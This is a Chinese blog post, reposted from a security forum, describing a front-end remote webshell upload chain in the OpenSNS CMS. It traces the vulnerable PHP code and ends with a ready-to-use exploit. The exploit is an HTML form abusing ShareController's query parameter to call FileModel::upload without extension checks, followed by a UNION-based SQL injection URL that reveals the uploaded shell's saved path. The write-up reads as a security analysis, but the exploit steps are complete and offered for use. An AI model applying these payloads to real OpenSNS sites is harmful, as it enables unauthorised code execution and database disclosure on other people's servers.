欢迎光临
我们一直在努力

opensns最新版前台getshell

from 90sec
我们先看漏洞触发点:
在/Application/Weibo/Controller/ShareController.class.php中第20行:

public function doSendShare(){         $aContent = I('post.content','','text');         $aQuery = I('post.query','','text');         parse_str($aQuery,$feed_data);         if(empty($aContent)){             $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));         }         if(!is_login()){             $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));         }         $new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);         $user = query_user(array('nickname'), is_login());         $info =  D('Weibo/Share')->getInfo($feed_data);

可以看到这里的$aContent和$aQuery都是我们POST进来的,是我们可控的,然后可以看到将$aQuery这个变量做了一个parse_str()操作。


parse_str($aQuery,$feed_data);

然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数:
在/Application/Weibo/Model/ShareModel.class.php中:


public function getInfo($param)    {        $info = array();        if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){            $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);        }        return $info;    }

可以看到这里的形参$param就是我们传进来的$feed_data实参。这里有一个操作很有意思:


$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

其中这个D()函数是thinkphp中的一个实例化类型的函数,我们追踪一下:
在/ThinkPHP/Common/functions.php中第616行:


function D($name = '', $layer = '') {     if (empty($name)) return new Think/Model;     static $_model = array();     $layer = $layer ? : C('DEFAULT_M_LAYER');     if (isset($_model[$name . $layer]))         return $_model[$name . $layer];     $class = parse_res_name($name, $layer);     if (class_exists($class)) {         $model = new $class(basename($name));     } elseif (false === strpos($name, '/')) {         // 自动加载公共模块下面的模型         if (!C('APP_USE_NAMESPACE')) {             import('Common/' . $layer . '/' . $class);         } else {             $class = '//Common//' . $layer . '//' . $name . $layer;         }         $model = class_exists($class) ? new $class($name) : new Think/Model($name);     } else {         /Think/Log::record('D方法实例化没找到模型类' . $class, Think/Log::NOTICE);         $model = new Think/Model(basename($name));     }     $_model[$name . $layer] = $model;     return $model; }

这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。那么可以看到如果$layer为空的话,就取C(‘DEFAULT_M_LAYER’)的值,那么这个值是多少呢?
在/ThinkPHP/Conf/convention.php中有:


'DEFAULT_M_LAYER'       =>  'Model', // 默认的模型层名称

那么就是取默认的值,也就是Model。
那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。

如上文所说:


$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);

其中$param[‘method’]就是我们要调用的方法名称,$param[‘id’]就是该方法的第一个参数。

好了,大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类,并调用它其中的一个任意一个public方法。

刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Home/Model/FileModel.class.php中的FileModel类。
这个类里面有一个文件上传函数:


public function upload($files, $setting, $driver = 'Local', $config = null){                 /* 上传文件 */                 $setting['callback'] = array($this, 'isFile');                 $Upload = new /Think/Upload($setting, $driver, $config);                 $info   = $Upload->upload($files);                 /* 设置文件保存位置 */                 $this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);                 if($info){ //文件上传成功,记录文件信息                         foreach ($info as $key => &$value) {                                 /* 已经存在文件记录 */                                 if(isset($value['id']) && is_numeric($value['id'])){                                         continue;                                 }                                 /* 记录文件信息 */                                 if($this->create($value) && ($id = $this->add())){                                         $value['id'] = $id;                                 } else {                                         //TODO: 文件上传成功,但是记录文件信息失败,需记录日志                                         unset($info[$key]);                                 }                         }                         return $info; //文件上传成功                 } else {                         $this->error = $Upload->getError();                         return false;                 }         }

那么意思是我们就能够调用这个文件上传函数了,我们看一下这个文件上传函数:
其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。
然后$config没有进行赋值,默认是null.
然后在第三行调用了upload()函数,我们追踪一下:

在/ThinkPHP/Library/Think/Upload.class.php中第128行:


public function upload($files = '')     {         if ('' === $files) {             $files = $_FILES;         }         if (empty($files)) {             $this->error = '没有上传的文件!';             return false;         }         /* 检测上传根目录 */         if (!$this->uploader->checkRootPath()) {             $this->error = $this->uploader->getError();             return false;         }         /* 检查上传目录 */         if (!$this->uploader->checkSavePath($this->savePath)) {             $this->error = $this->uploader->getError();             return false;         }         /* 逐个检测并上传文件 */         $info = array();         if (function_exists('finfo_open')) {             $finfo = finfo_open(FILEINFO_MIME_TYPE);         }         // 对上传文件数组信息处理         $files = $this->dealFiles($files);         foreach ($files as $key => $file) {             if (!isset($file['key'])) $file['key'] = $key;             /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */             if (isset($finfo)) {                 $file['type'] = finfo_file($finfo, $file['tmp_name']);             }             /* 获取上传文件后缀,允许上传无后缀文件 */             $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);             /* 文件上传检测 */             if (!$this->check($file)) {                 continue;             }             /* 获取文件hash */             if ($this->hash) {                 $file['md5'] = md5_file($file['tmp_name']);                 $file['sha1'] = sha1_file($file['tmp_name']);             }             /* 调用回调函数检测文件是否存在 */             $data = call_user_func($this->callback, $file);             if ($this->callback && $data) {                 $drconfig = $this->driverConfig;                 $fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);                 if (file_exists('.' . $data['path'])) {                     $info[$key] = $data;                     continue;                 } elseif ($this->uploader->info($fname)) {                     $info[$key] = $data;                     continue;                 } elseif ($this->removeTrash) {                     call_user_func($this->removeTrash, $data); //删除垃圾据                 }             }             /* 生成保存文件名 */             $savename = $this->getSaveName($file);             if (false == $savename) {                 continue;             } else {                 $file['savename'] = $savename;                 //$file['name'] = $savename;             }             /* 检测并创建子目录 */             $subpath = $this->getSubPath($file['name']);             if (false === $subpath) {                 continue;             } else {                 $file['savepath'] = $this->savePath . $subpath;             }             /* 对图像文件进行严格检测 */             $ext = strtolower($file['ext']);             if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {                 $imginfo = getimagesize($file['tmp_name']);                 if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {                     $this->error = '非法图像文件!';                     continue;                 }             }             $file['rootPath'] = $this->config['rootPath'];             $name = get_addon_class($this->driver);             if (class_exists($name)) {                 $class = new $name();                 if (method_exists($class, 'uploadDealFile')) {                     $class->uploadDealFile($file);                 }             }             /* 保存文件 并记录保存成功的文件 */             if ($this->uploader->save($file, $this->replace)) {                 unset($file['error'], $file['tmp_name']);                 $info[$key] = $file;             } else {                 $this->error = $this->uploader->getError();             }         }         if (isset($finfo)) {             finfo_close($finfo);         }         return empty($info) ? false : $info;     }

这就是thinkphp内置的upload()函数了,我们主要看一下以下几点:


        if ('' === $files) {             $files = $_FILES;         }

如果$files是空的话,它会默认检查整个$_FILES数组,意味着不需要我们设定特定上传文件表单名。
然后重点就是对于后缀检测的这里:


/* 文件上传检测 */             if (!$this->check($file)) {                 continue;             } 调用了check()函数,我们追踪一下: 在该文件的294行:  private function check($file)     {         /* 文件上传失败,捕获错误代码 */         if ($file['error']) {             $this->error($file['error']);             return false;         }         /* 无效上传 */         if (empty($file['name'])) {             $this->error = '未知上传错误!';         }         /* 检查是否合法上传 */         if (!is_uploaded_file($file['tmp_name'])) {             $this->error = '非法上传文件!';             return false;         }         /* 检查文件大小 */         if (!$this->checkSize($file['size'])) {             $this->error = '上传文件大小不符!';             return false;         }         /* 检查文件Mime类型 */         //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream         if (!$this->checkMime($file['type'])) {             $this->error = '上传文件MIME类型不允许!';             return false;         }         /* 检查文件后缀 */         if (!$this->checkExt($file['ext'])) {             $this->error = '上传文件后缀不允许';             return false;         }         /* 通过检测 */         return true;     }

首先看一下mimel类型的检测,调用了checkmime()函数,我们追踪一下:
在该文件的380行:


private function checkMime($mime)     {         return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);     } 可以看到如果$this->config['mimes']为空的话,就直接返回true了。通过上文可以知道,$config没赋值的话就是为默认的的, 而默认的$config是:    private $config = array(         'mimes' => array(), //允许上传的文件MiMe类型         'maxSize' => 0, //上传的文件大小限制 (0-不做限制)         'exts' => array(), //允许上传的文件后缀         'autoSub' => true, //自动子目录保存文件         'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组         'rootPath' => './Uploads/', //保存根路径         'savePath' => '', //保存路径         'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组         'saveExt' => '', //文件保存后缀,空则使用原后缀         'replace' => false, //存在同名是否覆盖         'hash' => true, //是否生成hash编码         'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组         'driver' => '', // 文件上传驱动         'driverConfig' => array(), // 上传驱动配置     );

所以这里肯定是返回true的,所以mime类型检测绕过了。
然后我们开始看后缀检测:
调用了一个checkExt()函数,我们追踪一下:
在389行:


private function checkExt($ext)    {        return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);    }

可以看到跟上面的一样,由于我们没有设定限定后缀,所以对于任意后缀的文件都是开放通行的,所以看到这里,就知道了,可以造成一个任意文件上传的漏洞。

但是这里有另外一个问题,就是我们并不知道上传上去的路径是多少,我们可以看一下这里对于上传后的文件名是怎么处理的:


$savename = $this->getSaveName($file);

调用了一个getSaveName()函数,我们追踪一下:在第398行:


private function getSaveName($file)     {         $rule = $this->saveName;         if (empty($rule)) { //保持文件名不变             /* 解决pathinfo中文文件名BUG */             $filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);             $savename = $filename;         } else {             $savename = $this->getName($rule, $file['name']);             if (empty($savename)) {                 $this->error = '文件命名规则错误!';                 return false;             }         }

我们看一下我们的$this->saveName为多少,在默认的$config中有定义:


'saveName' => array('uniqid', ''),

所以不为空,我们就没办法保证保持文件名不变了,肯定会被重命名的,那么又调用了一个getName()函数,我们追踪一下:在该文件的第444行:


private function getName($rule, $filename)     {         $name = '';         if (is_array($rule)) { //数组规则             $func = $rule[0];             $param = (array)$rule[1];             foreach ($param as &$value) {                 $value = str_replace('__FILE__', $filename, $value);             }             $name = call_user_func_array($func, $param);         } elseif (is_string($rule)) { //字符串规则             if (function_exists($rule)) {                 $name = call_user_func($rule);             } else {                 $name = $rule;             }         }         return $name;     }

可以看到$name的赋值结果了..就是调用了uniqid()这个函数,而这个函数很不好处理:
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。我的天,以微秒计的唯一ID,就算要爆破的话,都不好爆破。所以得另想办法。

我们回到FileModel类的upload函数再去看一看:


if($info){ //文件上传成功,记录文件信息                         foreach ($info as $key => &$value) {                                 /* 已经存在文件记录 */                                 if(isset($value['id']) && is_numeric($value['id'])){                                         continue;                                 }                                 /* 记录文件信息 */                                 if($this->create($value) && ($id = $this->add())){                                         $value['id'] = $id;

可以发现,当我们上传完东西后,是会把我们上传的信息给记录下来的,而记录在哪里呢?没错,就是在数据库当中的ocenter_file表里面,我们可以去看一下:
3527755609 opensns最新版前台getshell
可以看到我们上传的东西,这里都会有记录,包括文件保存的位置和保存的文件名,都有。
所以如果我们想知道上传后的位置和文件名,只需要我们能够从数据库中得到数据就可以了,那么怎么得到呢?
没错,就是通过注入!
注入倒是好挖,但是我们需要方便快捷一点,所以我们就需要一个能够回显的注入。

所以我又挖了一个这个cms的注入漏洞带回显的,在Application/Ucenter/Controller/IndexController.class.php中的information函数中:


public function information($uid = null)     {         //调用API获取基本信息         //TODO tox 获取省市区数据         $user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid); 可以看到把$uid带入到了query_user函数中,我们追踪一下该函数,在/Application/Common/Model/UserModel.class.php中: function query_user($pFields = null, $uid = 0)     {         $user_data = array();//用户数据         $fields = $this->getFields($pFields);//需要检索的字段         $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID         //获取缓存过的字段,尽可能在此处命中全部数据          list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);         $user_data = $cacheResult;//用缓存初始用户数据         //从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据         list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);

这里有个细节很重要,就是看$uid重新赋值的时候:


$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID

它验证的是intval($uid)是否为0,但是取值的时候并没有intval,所以这个地方注入语句不会被过滤掉,然后我们跟进getNeddQueryData这个函数看看:


private function getNeedQueryData($user_data, $fields, $uid)     {         $need_query = array_intersect($this->table_fields, $fields);         //如果有需要检索的数据         if (!empty($need_query)) {             $db_prefix=C('DB_PREFIX');             $query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1");             $query_result = $query_results[0];             $user_data = $this->combineUserData($user_data, $query_result);             $fields = $this->popGotFields($fields, $need_query);             $this->writeCache($uid, $query_result);         }         return array($user_data, $fields); }

可以看到,直接给$uid拼接到sql语句中去了,所以造成了一个注入,并且这个注入是有回显的,非常方便。

利用方式:

在首先,我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)

然后我们开始构造上传表单:


<html> <body> <form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file_img" id="file" />  <br /> <input type="text" name="content" value="123" id="1" /> <input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>

然后我们开始上传我们的webshell:
这里的两个框框里的数据都不要改,直接上传我们的shell就可以了:
3527755609 opensns最新版前台getshell
然后我们点击上传,就可以成功上传了,但是上传后是不会有路径回显的,所以我们下一步,开始注入:
payload:


http://0day5.com/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html

就能得到我们shell的保存路径了,如图:
3527755609 opensns最新版前台getshell
那么最终shell的路径就是:
http://localhost/Uploads/2017-01-20/5881ce0db9438.php

未经允许不得转载:杂术馆 » opensns最新版前台getshell
分享到: 更多 (0)